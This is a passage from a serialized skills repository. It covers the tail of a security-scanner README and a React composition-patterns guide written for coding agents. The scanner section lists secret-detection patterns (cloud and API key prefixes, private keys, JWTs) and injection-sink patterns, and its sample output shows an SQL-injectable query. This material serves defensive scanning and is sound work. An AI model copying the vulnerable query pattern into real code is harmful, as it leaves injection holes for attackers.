dependencies\n2. **Secret Leak Detection** — Discovers hardcoded secrets, tokens, and passwords via regex matching + Shannon entropy analysis\n3. **OWASP Pattern Detection** — Identifies common security anti-patterns such as SQL injection, XSS, command injection, and insecure deserialization\n\n## Quick Start\n\n```bash\n# Scan the current directory (all checks)\npython3 scripts/security_scan.py .\n\n# Scan dependencies only\npython3 scripts/security_scan.py --mode deps .\n\n# Detect secret leaks only\npython3 scripts/security_scan.py --mode secrets /path/to/project\n\n# Detect OWASP security patterns only\npython3 scripts/security_scan.py --mode owasp .\n\n# Output report in JSON format\npython3 scripts/security_scan.py --format json --output report.json .\n\n# Only show findings at high severity and above\npython3 scripts/security_scan.py --severity high .\n```\n\n## Scan Module Details\n\n### 1. Dependency Vulnerability Scanning (deps)\n\nAutomatically detects the project type and invokes the appropriate tool:\n\n| Project Type | Detection File | Tool Used |\n|---|---|---|\n| Node.js | `package.json` + `package-lock.json` | `npm audit` |\n| Python | `requirements.txt` / `pyproject.toml` / `Pipfile` | `pip-audit` |\n\nIf the corresponding audit tool is not installed, a helpful message is displayed instead of an error.\n\n### 2. Secret Leak Detection (secrets)\n\nDetection is performed in two ways:\n\n**Regex Matching**: Covers common secret formats\n\n| Secret Type | Example Pattern |\n|---|---|\n| AWS Access Key | 20-character string starting with `AKIA` |\n| GitHub Token | Starts with `ghp_` or `github_pat_` |\n| Slack Token | Starts with `xoxb-` or `xoxp-` |\n| Stripe Key | Starts with `sk_live_` or `pk_live_` |\n| Private Key File | `-----BEGIN PRIVATE KEY-----` |\n| Generic API Key | Format like `api_key = \"...\"` |\n| Credentials in URL | `https://user:pass@host` |\n| JWT Token | `eyJ...` format |\n\n**Shannon Entropy Analysis**: Computes information entropy for string constants in code (threshold > 4.5 and length >= 20) to discover secrets in non-standard formats.\n\n### 3. OWASP Pattern Detection (owasp)\n\nCovers statically detectable security patterns from the OWASP Top 10:\n\n| OWASP Category | Detection Patterns |\n|---|---|\n| A02: Cryptographic Failures | Weak hashes (MD5/SHA1), weak ciphers (DES/RC4) |\n| A03: Injection | SQL injection, command injection (os.system / subprocess shell / eval / exec), XSS (innerHTML / document.write / dangerouslySetInnerHTML / v-html) |\n| A04: Insecure Design | Path traversal |\n| A05: Security Misconfiguration | Debug mode enabled, CORS wildcard, binding to 0.0.0.0 |\n| A08: Integrity Failures | Insecure deserialization (pickle / yaml.load / marshal / unserialize) |\n| A10: SSRF | User input passed directly to HTTP requests |\n\nSupported languages: Python, JavaScript/TypeScript, Java, PHP, Ruby, Go, and more.\n\n## Parameters\n\n| Parameter | Description | Default |\n|---|---|---|\n| `TARGET` | Directory to scan | Current directory |\n| `--mode MODE` | Scan mode: `all`, `deps`, `secrets`, `owasp` | `all` |\n| `--format FORMAT` | Output format: `text`, `json` | `text` |\n| `--output FILE` | Output file path | stdout |\n| `--severity LEVEL` | Minimum reporting level: `low`, `medium`, `high`, `critical` | `low` |\n| `--exclude-dir DIR` | Additional directories to exclude (repeatable) | - |\n| `--max-file-kb SIZE` | Maximum file size to scan in KB | `512` |\n| `-h, --help` | Show help | - |\n\n## Output Format\n\n### Text Output (default)\n\n```\n=== Security Scan Report ===\nTarget: /path/to/project\nModules: deps, secrets, owasp\n\n[CRITICAL] AWS Access Key ID\n  File: src/config.py:15\n  Code: AWS_KEY = \"AKIAIOSFODNN7EXAMPLE\"\n\n[HIGH] SQL Injection (f-string)\n  File: src/db.py:42\n  Code: cursor.execute(f\"SELECT * FROM users WHERE id={user_id}\")\n\n--- Summary ---\nCritical: 1 | High: 1 | Medium: 0 | Low: 0\nTotal findings: 2\n```\n\n### JSON Output\n\n```json\n{\n  \"target\": \"/path/to/project\",\n  \"scan_time\": \"2026-04-14T10:30:00\",\n  \"findings\": [\n    {\n      \"scanner\": \"secrets\",\n      \"name\": \"AWS Access Key ID\",\n      \"severity\": \"critical\",\n      \"file\": \"src/config.py\",\n      \"line\": 15,\n      \"snippet\": \"AWS_KEY = \\\"AKIAIOSFODNN7EXAMPLE\\\"\",\n      \"category\": \"secret-pattern\"\n    }\n  ],\n  \"summary\": {\"critical\": 1, \"high\": 0, \"medium\": 0, \"low\": 0, \"total\": 1}\n}\n```\n\n## Exit Codes\n\n| Exit Code | Meaning |\n|---|---|\n| `0` | No findings |\n| `1` | Findings present (at least one security issue) |\n| `2` | Scanner internal error |\n\n## Prerequisites\n\n- Python 3.7+ (uses standard library only)\n- Dependency scanning requires the corresponding tools: `npm` (for Node.js projects), `pip-audit` (for Python projects)\n- If an audit tool is missing, that module will be skipped with a notice — other modules continue to run normally\n","skills/composition-patterns/AGENTS.md":"# React Composition Patterns\n\n**Version 1.0.0**\nEngineering\nJanuary 2026\n\n> **Note:**\n> This document is mainly for agents and LLMs to follow when maintaining,\n> generating, or refactoring React codebases using composition. Humans\n> may also find it useful, but guidance here is optimized for automation\n> and consistency by AI-assisted workflows.\n\n---\n\n## Abstract\n\nComposition patterns for building flexible, maintainable React components. Avoid boolean prop proliferation by using compound components, lifting state, and composing internals. These patterns make codebases easier for both humans and AI agents to work with as they scale.\n\n---\n\n## Table of Contents\n\n1. [Component Architecture](#1-component-architecture) — **HIGH**\n   - 1.1 [Avoid Boolean Prop Proliferation](#11-avoid-boolean-prop-proliferation)\n   - 1.2 [Use Compound Components](#12-use-compound-components)\n2. [State Management](#2-state-management) — **MEDIUM**\n   - 2.1 [Decouple State Management from UI](#21-decouple-state-management-from-ui)\n   - 2.2 [Define Generic Context Interfaces for Dependency Injection](#22-define-generic-context-interfaces-for-dependency-injection)\n   - 2.3 [Lift State into Provider Components](#23-lift-state-into-provider-components)\n3. [Implementation Patterns](#3-implementation-patterns) — **MEDIUM**\n   - 3.1 [Create Explicit Component Variants](#31-create-explicit-component-variants)\n   - 3.2 [Prefer Composing Children Over Render Props](#32-prefer-composing-children-over-render-props)\n4. [React 19 APIs](#4-react-19-apis) — **MEDIUM**\n   - 4.1 [React 19 API Changes](#41-react-19-api-changes)\n\n---\n\n## 1. Component Architecture\n\n**Impact: HIGH**\n\nFundamental patterns for structuring components to avoid prop\nproliferation and enable flexible composition.\n\n### 1.1 Avoid Boolean Prop Proliferation\n\n**Impact: CRITICAL (prevents unmaintainable component variants)**\n\nDon't add boolean props like `isThread`, `isEditing`, `isDMThread` to customize\n\ncomponent behavior. Each boolean doubles possible states and creates\n\nunmaintainable conditional logic. Use composition instead.\n\n**Incorrect: boolean props create exponential complexity**\n\n```tsx\nfunction Composer({\n  onSubmit,\n  isThread,\n  channelId,\n  isDMThread,\n  dmId,\n  isEditing,\n  isForwarding,\n}: Props) {\n  return (\n    <form>\n      <Header />\n      <Input />\n      {isDMThread ? (\n        <AlsoSendToDMField id={dmId} />\n      ) : isThread ? (\n        <AlsoSendToChannelField id={channelId} />\n      ) : null}\n      {isEditing ? <EditActions /> : isForwarding ? <ForwardActions /> : <DefaultActions />}\n      <Footer onSubmit={onSubmit} />\n    </form>\n  )\n}\n```\n\n**Correct: composition eliminates conditionals**\n\n```tsx\n// Channel composer\nfunction ChannelComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Attachments />\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Thread composer - adds \"also send to channel\" field\nfunction ThreadComposer({ channelId }: { channelId: string }) {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <AlsoSendToChannelField id={channelId} />\n      <Composer.Footer>\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Edit composer - different footer actions\nfunction EditComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.CancelEdit />\n        <Composer.SaveEdit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n```\n\nEach variant is explicit about what it renders. We can share internals without\n\nsharing a single monolithic parent.\n\n### 1.2 Use Compound Components\n\n**Impact: HIGH (enables flexible composition without prop drilling)**\n\nStructure complex components as compound components with a shared context. Each\n\nsubcomponent accesses shared state via context, not props. Consumers compose the\n\npieces they need.\n\n**Incorrect: monolithic component with render props**\n\n```tsx\nfunction Composer({\n  renderHeader,\n  renderFooter,\n  renderActions,\n  showAttachments,\n  showFormatting,\n  showEmojis,\n}: Props) {\n  return (\n    <form>\n      {renderHeader?.()}\n      <Input />\n      {showAttachments && <Attachments />}\n      {renderFooter ? (\n        renderFooter()\n      ) : (\n        <Footer>\n          {showFormatting && <Formatting />}\n          {showEmojis && <Emojis />}\n          {renderActions?.()}\n        </Footer>\n      )}\n    </form>\n  )\n}\n```\n\n**Correct: compound components with shared context**\n\n```tsx\nconst ComposerContext = createContext<ComposerContextValue | null>(null)\n\nfunction ComposerProvider({ children, state, actions, meta }: ProviderProps) {\n  return <ComposerContext value={{ state, actions, meta }}>{children}</ComposerContext>\n}\n\nfunction ComposerFrame({ children }: { children: React.ReactNode }) {\n  return <form>{children}</form>\n}\n\nfunction ComposerInput() {\n  const {\n    state,\n    actions: { update },\n    meta: { inputRef },\n  } = use(ComposerContext)\n  return (\n    <TextInput\n      ref={inputRef}\n      value={state.input}\n      onChangeText={(text) => update((s) => ({ ...s, input: text }))}\n    />\n  )\n}\n\nfunction ComposerSubmit() {\n  const {\n    actions: { submit },\n  } = use(ComposerContext)\n  return <Button onPress={submit}>Send</Button>\n}\n\n// Export as compound component\nconst Composer = {\n  Provider: ComposerProvider,\n  Frame: ComposerFrame,\n  Input: ComposerInput,\n  Submit: ComposerSubmit,\n  Header: ComposerHeader,\n  Footer: ComposerFooter,\n  Attachments: ComposerAttachments,\n  Formatting: ComposerFormatting,\n  Emojis: ComposerEmojis,\n}\n```\n\n**Usage:**\n\n```tsx\n<Composer.Provider state={state} actions={actions} meta={meta}>\n  <Composer.Frame>\n    <Composer.Header />\n    <Composer.Input />\n    <Composer.Footer>\n      <Composer.Formatting />\n      <Composer.Submit />\n    </Composer.Footer>\n  </Composer.Frame>\n</Composer.Provider>\n```\n\nConsumers explicitly compose exactly what they need. No hidden conditionals. And the state, actions and meta are dependency-injected by a parent provider, allowing multiple usages of the same component structure.\n\n---\n\n## 2. State Management\n\n**Impact: MEDIUM**\n\nPatterns for lifting state and managing shared context across\ncomposed components.\n\n### 2.1 Decouple State Management from UI\n\n**Impact: MEDIUM (enables swapping state implementations without changing UI)**\n\nThe provider component should be the only place that knows how state is managed.\n\nUI components consume the context interface—they don't know if state comes from\n\nuseState, Zustand, or a server sync.\n\n**Incorrect: UI coupled to state implementation**\n\n```tsx\nfunction ChannelComposer({ channelId }: { channelId: string }) {\n  // UI component knows about global state implementation\n  const state = useGlobalChannelState(channelId)\n  const { submit, updateInput } = useChannelSync(channelId)\n\n  return (\n    <Composer.Frame>\n      <Composer.Input value={state.input} onChange={(text) => sync.updateInput(text)} />\n      <Composer.Submit onPress={() => sync.submit()} />\n    </Composer.Frame>\n  )\n}\n```\n\n**Correct: state management isolated in provider**\n\n```tsx\n// Provider handles all state management details\nfunction ChannelProvider({\n  channelId,\n  children,\n}: {\n  channelId: string\n  children: React.ReactNode\n}) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n  const inputRef = useRef(null)\n\n  return (\n    <Composer.Provider state={state} actions={{ update, submit }} meta={{ inputRef }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n\n// UI component only knows about the context interface\nfunction ChannelComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Usage\nfunction Channel({ channelId }: { channelId: string }) {\n  return (\n    <ChannelProvider channelId={channelId}>\n      <ChannelComposer />\n    </ChannelProvider>\n  )\n}\n```\n\n**Different providers, same UI:**\n\n```tsx\n// Local state for ephemeral forms\nfunction ForwardMessageProvider({ children }) {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n\n  return (\n    <Composer.Provider state={state} actions={{ update: setState, submit: forwardMessage }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n\n// Global synced state for channels\nfunction ChannelProvider({ channelId, children }) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n\n  return (\n    <Composer.Provider state={state} actions={{ update, submit }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n```\n\nThe same `Composer.Input` component works with both providers because it only\n\ndepends on the context interface, not the implementation.\n\n### 2.2 Define Generic Context Interfaces for Dependency Injection\n\n**Impact: HIGH (enables dependency-injectable state across use-cases)**\n\nDefine a **generic interface** for your component context with three parts:\n\n`state`, `actions`, and `meta`. This interface is a contract that any provider\n\ncan implement—enabling the same UI components to work with completely different\n\nstate implementations.\n\n**Core principle:** Lift state, compose internals, make state\n\ndependency-injectable.\n\n**Incorrect: UI coupled to specific state implementation**\n\n```tsx\nfunction ComposerInput() {\n  // Tightly coupled to a specific hook\n  const { input, setInput } = useChannelComposerState()\n  return <TextInput value={input} onChangeText={setInput} />\n}\n```\n\n**Correct: generic interface enables dependency injection**\n\n```tsx\n// Define a GENERIC interface that any provider can implement\ninterface ComposerState {\n  input: string\n  attachments: Attachment[]\n  isSubmitting: boolean\n}\n\ninterface ComposerActions {\n  update: (updater: (state: ComposerState) => ComposerState) => void\n  submit: () => void\n}\n\ninterface ComposerMeta {\n  inputRef: React.RefObject<TextInput>\n}\n\ninterface ComposerContextValue {\n  state: ComposerState\n  actions: ComposerActions\n  meta: ComposerMeta\n}\n\nconst ComposerContext = createContext<ComposerContextValue | null>(null)\n```\n\n**UI components consume the interface, not the implementation:**\n\n```tsx\nfunction ComposerInput() {\n  const {\n    state,\n    actions: { update },\n    meta,\n  } = use(ComposerContext)\n\n  // This component works with ANY provider that implements the interface\n  return (\n    <TextInput\n      ref={meta.inputRef}\n      value={state.input}\n      onChangeText={(text) => update((s) => ({ ...s, input: text }))}\n    />\n  )\n}\n```\n\n**Different providers implement the same interface:**\n\n```tsx\n// Provider A: Local state for ephemeral forms\nfunction ForwardMessageProvider({ children }: { children: React.ReactNode }) {\n  const [state, setState] = useState(initialState)\n  const inputRef = useRef(null)\n  const submit = useForwardMessage()\n\n  return (\n    <ComposerContext\n      value={{\n        state,\n        actions: { update: setState, submit },\n        meta: { inputRef },\n      }}\n    >\n      {children}\n    </ComposerContext>\n  )\n}\n\n// Provider B: Global synced state for channels\nfunction ChannelProvider({ channelId, children }: Props) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n  const inputRef = useRef(null)\n\n  return (\n    <ComposerContext\n      value={{\n        state,\n        actions: { update, submit },\n        meta: { inputRef },\n      }}\n    >\n      {children}\n    </ComposerContext>\n  )\n}\n```\n\n**The same composed UI works with both:**\n\n```tsx\n// Works with ForwardMessageProvider (local state)\n<ForwardMessageProvider>\n  <Composer.Frame>\n    <Composer.Input />\n    <Composer.Submit />\n  </Composer.Frame>\n</ForwardMessageProvider>\n\n// Works with ChannelProvider (global synced state)\n<ChannelProvider channelId=\"abc\">\n  <Composer.Frame>\n    <Composer.Input />\n    <Composer.Submit />\n  </Composer.Frame>\n</ChannelProvider>\n```\n\n**Custom UI outside the component can access state and actions:**\n\n```tsx\nfunction ForwardMessageDialog() {\n  return (\n    <ForwardMessageProvider>\n      <Dialog>\n        {/* The composer UI */}\n        <Composer.Frame>\n          <Composer.Input placeholder=\"Add a message, if you'd like.\" />\n          <Composer.Footer>\n            <Composer.Formatting />\n            <Composer.Emojis />\n          </Composer.Footer>\n        </Composer.Frame>\n\n        {/* Custom UI OUTSIDE the composer, but INSIDE the provider */}\n        <MessagePreview />\n\n        {/* Actions at the bottom of the dialog */}\n        <DialogActions>\n          <CancelButton />\n          <ForwardButton />\n        </DialogActions>\n      </Dialog>\n    </ForwardMessageProvider>\n  )\n}\n\n// This button lives OUTSIDE Composer.Frame but can still submit based on its context!\nfunction ForwardButton() {\n  const {\n    actions: { submit },\n  } = use(ComposerContext)\n  return <Button onPress={submit}>Forward</Button>\n}\n\n// This preview lives OUTSIDE Composer.Frame but can read composer's state!\nfunction MessagePreview() {\n  const { state } = use(ComposerContext)\n  return <Preview message={state.input} attachments={state.attachments} />\n}\n```\n\nThe provider boundary is what matters—not the visual nesting. Components that\n\nneed shared state don't have to be inside the `Composer.Frame`. They just need\n\nto be within the provider.\n\nThe `ForwardButton` and `MessagePreview` are not visually inside the composer\n\nbox, but they can still access its state and actions. This is the power of\n\nlifting state into providers.\n\nThe UI is reusable bits you compose together. The state is dependency-injected\n\nby the provider. Swap the provider, keep the UI.\n\n### 2.3 Lift State into Provider Components\n\n**Impact: HIGH (enables state sharing outside component boundaries)**\n\nMove state management into dedicated provider components. This allows sibling\n\ncomponents outside the main UI to access and modify state without prop drilling\n\nor awkward refs.\n\n**Incorrect: state trapped inside component**\n\n```tsx\nfunction ForwardMessageComposer() {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n\n  return (\n    <Composer.Frame>\n      <Composer.Input />\n      <Composer.Footer />\n    </Composer.Frame>\n  )\n}\n\n// Problem: How does this button access composer state?\nfunction ForwardMessageDialog() {\n  return (\n    <Dialog>\n      <ForwardMessageComposer />\n      <MessagePreview /> {/* Needs composer state */}\n      <DialogActions>\n        <CancelButton />\n        <ForwardButton /> {/* Needs to call submit */}\n      </DialogActions>\n    </Dialog>\n  )\n}\n```\n\n**Incorrect: useEffect to sync state up**\n\n```tsx\nfunction ForwardMessageDialog() {\n  const [input, setInput] = useState(\"\")\n  return (\n    <Dialog>\n      <ForwardMessageComposer onInputChange={setInput} />\n      <MessagePreview input={input} />\n    </Dialog>\n  )\n}\n\nfunction ForwardMessageComposer({ onInputChange }) {\n  const [state, setState] = useState(initialState)\n  useEffect(() => {\n    onInputChange(state.input) // Sync on every change 😬\n  }, [state.input])\n}\n```\n\n**Incorrect: reading state from ref on submit**\n\n```tsx\nfunction ForwardMessageDialog() {\n  const stateRef = useRef(null)\n  return (\n    <Dialog>\n      <ForwardMessageComposer stateRef={stateRef} />\n      <ForwardButton onPress={() => submit(stateRef.current)} />\n    </Dialog>\n  )\n}\n```\n\n**Correct: state lifted to provider**\n\n```tsx\nfunction ForwardMessageProvider({ children }: { children: React.ReactNode }) {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n  const inputRef = useRef(null)\n\n  return (\n    <Composer.Provider\n      state={state}\n      actions={{ update: setState, submit: forwardMessage }}\n      meta={{ inputRef }}\n    >\n      {children}\n    </Composer.Provider>\n  )\n}\n\nfunction ForwardMessageDialog() {\n  return (\n    <ForwardMessageProvider>\n      <Dialog>\n        <ForwardMessageComposer />\n        <MessagePreview /> {/* Custom components can access state and actions */}\n        <DialogActions>\n          <CancelButton />\n          <ForwardButton /> {/* Custom components can access state and actions */}\n        </DialogActions>\n      </Dialog>\n    </ForwardMessageProvider>\n  )\n}\n\nfunction ForwardButton() {\n  const { actions } = use(Composer.Context)\n  return <Button onPress={actions.submit}>Forward</Button>\n}\n```\n\nThe ForwardButton lives outside the Composer.Frame but still has access to the\n\nsubmit action because it's within the provider. Even though it's a one-off\n\ncomponent, it can still access the composer's state and actions from outside the\n\nUI itself.\n\n**Key insight:** Components that need shared state don't have to be visually\n\nnested inside each other—they just need to be within the same provider.\n\n---\n\n## 3. Implementation Patterns\n\n**Impact: MEDIUM**\n\nSpecific techniques for implementing compound components and\ncontext providers.\n\n### 3.1 Create Explicit Component Variants\n\n**Impact: MEDIUM (self-documenting code, no hidden conditionals)**\n\nInstead of one component with many boolean props, create explicit variant\n\ncomponents. Each variant composes the pieces it needs. The code documents\n\nitself.\n\n**Incorrect: one component, many modes**\n\n```tsx\n// What does this component actually render?\n<Composer isThread isEditing={false} channelId=\"abc\" showAttachments showFormatting={false} />\n```\n\n**Correct: explicit variants**\n\n```tsx\n// Immediately clear what this renders\n<ThreadComposer channelId=\"abc\" />\n\n// Or\n<EditMessageComposer messageId=\"xyz\" />\n\n// Or\n<ForwardMessageComposer messageId=\"123\" />\n```\n\nEach implementation is unique, explicit and self-contained. Yet they can each\n\nuse shared parts.\n\n**Implementation:**\n\n```tsx\nfunction ThreadComposer({ channelId }: { channelId: string }) {\n  return (\n    <ThreadProvider channelId={channelId}>\n      <Composer.Frame>\n        <Composer.Input />\n        <AlsoSendToChannelField channelId={channelId} />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.Submit />\n        </Composer.Footer>\n      </Composer.Frame>\n    </ThreadProvider>\n  )\n}\n\nfunction EditMessageComposer({ messageId }: { messageId: string }) {\n  return (\n    <EditMessageProvider messageId={messageId}>\n      <Composer.Frame>\n        <Composer.Input />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.CancelEdit />\n          <Composer.SaveEdit />\n        </Composer.Footer>\n      </Composer.Frame>\n    </EditMessageProvider>\n  )\n}\n\nfunction ForwardMessageComposer({ messageId }: { messageId: string }) {\n  return (\n    <ForwardMessageProvider messageId={messageId}>\n      <Composer.Frame>\n        <Composer.Input placeholder=\"Add a message, if you'd like.\" />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.Mentions />\n        </Composer.Footer>\n      </Composer.Frame>\n    </ForwardMessageProvider>\n  )\n}\n```\n\nEach variant is explicit about:\n\n- What provider/state it uses\n\n- What UI elements it includes\n\n- What actions are available\n\nNo boolean prop combinations to reason about. No impossible states.\n\n### 3.2 Prefer Composing Children Over Render Props\n\n**Impact: MEDIUM (cleaner composition, better readability)**\n\nUse `children` for composition instead of `renderX` props. Children are more\n\nreadable, compose naturally, and don't require understanding callback\n\nsignatures.\n\n**Incorrect: render props**\n\n```tsx\nfunction Composer({\n  renderHeader,\n  renderFooter,\n  renderActions,\n}: {\n  renderHeader?: () => React.ReactNode\n  renderFooter?: () => React.ReactNode\n  renderActions?: () => React.ReactNode\n}) {\n  return (\n    <form>\n      {renderHeader?.()}\n      <Input />\n      {renderFooter ? renderFooter() : <DefaultFooter />}\n      {renderActions?.()}\n    </form>\n  )\n}\n\n// Usage is awkward and inflexible\nreturn (\n  <Composer\n    renderHeader={() => <CustomHeader />}\n    renderFooter={() => (\n      <>\n        <Formatting />\n        <Emojis />\n      </>\n    )}\n    renderActions={() => <SubmitButton />}\n  />\n)\n```\n\n**Correct: compound components with children**\n\n```tsx\nfunction ComposerFrame({ children }: { children: React.ReactNode }) {\n  return <form>{children}</form>\n}\n\nfunction ComposerFooter({ children }: { children: React.ReactNode }) {\n  return <footer className=\"flex\">{children}</footer>\n}\n\n// Usage is flexible\nreturn (\n  <Composer.Frame>\n    <CustomHeader />\n    <Composer.Input />\n    <Composer.Footer>\n      <Composer.Formatting />\n      <Composer.Emojis />\n      <SubmitButton />\n    </Composer.Footer>\n  </Composer.Frame>\n)\n```\n\n**When render props are appropriate:**\n\n```tsx\n// Render props work well when you need to pass data back\n<List data={items} renderItem={({ item, index }) => <Item item={item} index={index} />} />\n```\n\nUse render props when the parent needs to provide data or state to the child.\n\nUse children when composing static structure.\n\n---\n\n## 4. React 19 APIs\n\n**Impact: MEDIUM**\n\nReact 19+ only. Don't use `forwardRef`; use `use()` instead of `useContext()`.\n\n### 4.1 React 19 API Changes\n\n**Impact: MEDIUM (cleaner component definitions and context usage)**\n\n> **⚠️ React 19+ only.** Skip this if you're on React 18 or earlier.\n\nIn React 19, `ref` is now a regular prop (no `forwardRef` wrapper needed), and `use()` replaces `useContext()`.\n\n**Incorrect: forwardRef in React 19**\n\n```tsx\nconst ComposerInput = forwardRef<TextInput, Props>((props, ref) => {\n  return <TextInput ref={ref} {...props} />\n})\n```\n\n**Correct: ref as a regular prop**\n\n```tsx\nfunction ComposerInput({ ref, ...props }: Props & { ref?: React.Ref<TextInput> }) {\n  return <TextInput ref={ref} {...props} />\n}\n```\n\n**Incorrect: useContext in React 19**\n\n```tsx\nconst value = useContext(MyContext)\n```\n\n**Correct: use instead of useContext**\n\n```tsx\nconst value = use(MyContext)\n```\n\n`use()` can also be called conditionally, unlike `useContext()`.\n\n---\n\n## References\n\n1. [https://react.dev](https://react.dev)\n2. [https://react.dev/learn/passing-data-deeply-with-context](https://react.dev/learn/passing-data-deeply-with-context)\n3. [https://react.dev/reference/react/use](https://react.dev/reference/react/use)\n","skills/composition-patterns/README.md":"# React Composition Patterns\n\nA structured repository for React composition patterns that scale. These\npatterns help avoid boolean prop proliferation by using compound components,\nlifting state, and composing internals.\n\n## Structure\n\n- `rules/` - Individual rule files (one per rule)\n  - `_sections.md` - Section metadata (titles, impacts, descriptions)\n  - `_template.md` - Template for creating new rules\n  - `area-description.md` - Individual rule files\n- `metadata.json` - Document metadata (version, organization, abstract)\n- **`AGENTS.md`** - Compiled output (generated)\n\n## Rules\n\n### Component Architecture (CRITICAL)\n\n- `architecture-avoid-boolean-props.md` - Don't add boolean props to customize\n  behavior\n- `architecture-compound-components.md` - Structure as compound components with\n  shared context\n\n### State Management (HIGH)\n\n- `state-lift-state.md` - Lift state into provider components\n- `state-context-interface.md` - Define clear context interfaces\n  (state/actions/meta)\n- `state-decouple-implementation.md` - Decouple state management from UI\n\n### Implementation Patterns (MEDIUM)\n\n- `patterns-children-over-render-props.md` - Prefer children over renderX props\n- `patterns-explicit-variants.md` - Create explicit component variants\n\n## Core Principles\n\n1. **Composition over configuration** — Instead of adding props, let consumers\n   compose\n2. **Lift your state** — State in providers, not trapped in components\n3. **Compose your internals** — Subcomponents access context, not props\n4. **Explicit variants** — Create ThreadComposer, EditComposer, not Composer\n   with isThread\n\n## Creating a New Rule\n\n1. Copy `rules/_template.md` to `rules/area-description.md`\n2. Choose the appropriate area prefix:\n   - `architecture-` for Component Architecture\n   - `state-` for State Management\n   - `patterns-` for Implementation Patterns\n3. Fill in the frontmatter and content\n4. Ensure you have clear examples with explanations\n\n## Impact Levels\n\n- `CRITICAL` - Foundational patterns, prevents unmaintainable code\n- `HIGH` - Significant maintainability improvements\n- `MEDIUM` - Good practices for cleaner code\n","skills/composition-patterns/SKILL.md":"---\nname: vercel-composition-patterns\ndescription: React composition patterns that scale. Use when refactoring components with\n  boolean prop proliferation, building flexible component libraries, or\n  designing reusable APIs. Triggers on tasks involving compound components,\n  render props, context providers, or component architecture. Includes React 19\n  API changes.\nlicense: MIT\nmetadata:\n  author: vercel\n  version: \"1.0.0\"\n---\n\n# React Composition Patterns\n\nComposition patterns for building flexible, maintainable React components. Avoid\nboolean prop proliferation by using compound components, lifting state, and\ncomposing internals. These patterns make codebases easier for both humans and AI\nagents to work with as they scale.\n\n## When to Apply\n\nReference these guidelines when:\n\n- Refactoring components with many boolean props\n- Building reusable component libraries\n- Designing flexible component APIs\n- Reviewing component architecture\n- Working with compound components or context providers\n\n## Rule Categories by Priority\n\n| Priority | Category                | Impact | Prefix          |\n| -------- | ----------------------- | ------ | --------------- |\n| 1        | Component Architecture  | HIGH   | `architecture-` |\n| 2        | State Management        | MEDIUM | `state-`        |\n| 3        | Implementation Patterns | MEDIUM | `patterns-`     |\n| 4        | React 19 APIs           | MEDIUM | `react19-`      |\n\n## Quick Reference\n\n### 1. Component Architecture (HIGH)\n\n- `architecture-avoid-boolean-props` - Don't add boolean props to customize\n  behavior; use composition\n- `architecture-compound-components` - Structure complex components with shared\n  context\n\n### 2. State Management (MEDIUM)\n\n- `state-decouple-implementation` - Provider is the only place that knows how\n  state is managed\n- `state-context-interface` - Define generic interface with state, actions, meta\n  for dependency injection\n- `state-lift-state` - Move state into provider components for sibling access\n\n### 3. Implementation Patterns (MEDIUM)\n\n- `patterns-explicit-variants` - Create explicit variant components instead of\n  boolean modes\n- `patterns-children-over-render-props` - Use children for composition instead\n  of renderX props\n\n### 4. React 19 APIs (MEDIUM)\n\n> **⚠️ React 19+ only.** Skip this section if using React 18 or earlier.\n\n- `react19-no-forwardref` - Don't use `forwardRef`; use `use()` instead of `useContext()`\n\n## How to Use\n\nRead individual rule files for detailed explanations and code examples:\n\n```\nrules/architecture-avoid-boolean-props.md\nrules/state-context-interface.md\n```\n\nEach rule file contains:\n\n- Brief explanation of why it matters\n- Incorrect code example with explanation\n- Correct code example with explanation\n- Additional context and references\n\n## Full Compiled Document\n\nFor the complete guide with all rules expanded: `AGENTS.md`\n","skills/composition-patterns/metadata.json":"{\n  \"version\": \"1.0.0\",\n  \"organization\": \"Engineering\",\n  \"date\": \"January 2026\",\n  \"abstract\": \"Composition patterns for building flexible, maintainable React components. Avoid boolean prop proliferation by using compound components, lifting state, and composing internals. These patterns make codebases easier for both humans and AI agents to work with as they scale.\",\n  \"references\": [\n    \"https://react.dev\",\n    \"https://react.dev/learn/passing-data-deeply-with-context\",\n    \"https://react.dev/reference/react/use\"\n  ]\n}\n","skills/composition-patterns/rules/_sections.md":"# Sections\n\nThis file defines all sections, their ordering, impact levels, and descriptions.\nThe section ID (in parentheses) is the filename prefix used to group rules.\n\n---\n\n## 1. Component Architecture (architecture)\n\n**Impact:** HIGH\n**Description:** Fundamental patterns for structuring components to avoid prop\nproliferation and enable flexible composition.\n\n## 2. State Management (state)\n\n**Impact:** MEDIUM\n**Description:** Patterns for lifting state and managing shared context across\ncomposed components.\n\n## 3. Implementation Patterns (patterns)\n\n**Impact:** MEDIUM\n**Description:** Specific techniques for implementing compound components and\ncontext providers.\n\n## 4. React 19 APIs (react19)\n\n**Impact:** MEDIUM\n**Description:** React 19+ only. Don't use `forwardRef`; use `use()` instead of `useContext()`.\n","skills/composition-patterns/rules/_template.md":"---\ntitle: Rule Title Here\nimpact: MEDIUM\nimpactDescription: brief description of impact\ntags: composition, components\n---\n\n## 